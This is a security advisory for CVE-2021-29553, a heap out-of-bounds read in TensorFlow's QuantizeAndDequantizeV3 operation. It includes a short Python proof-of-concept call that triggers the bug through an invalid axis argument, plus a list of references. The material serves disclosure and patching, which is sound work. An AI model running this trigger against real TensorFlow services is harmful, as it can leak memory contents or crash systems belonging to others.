CVE-2021-29553: Heap OOB in `QuantizeAndDequantizeV3`
(updated )
An attacker can read data outside of bounds of heap allocated buffer in tf.raw_ops.QuantizeAndDequantizeV3:
import tensorflow as tf
tf.raw_ops.QuantizeAndDequantizeV3(
input=[2.5,2.5], input_min=[0,0], input_max=[1,1], num_bits=[30],
signed_input=False, range_given=False, narrow_range=False, axis=3)
References
- github.com/advisories/GHSA-h9px-9vqg-222h
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-481.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-679.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-190.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/99085e8ff02c3763a0ec2263e44daec416f6a387
- github.com/tensorflow/tensorflow/security/advisories/GHSA-h9px-9vqg-222h
- nvd.nist.gov/vuln/detail/CVE-2021-29553
Code Behaviors & Features
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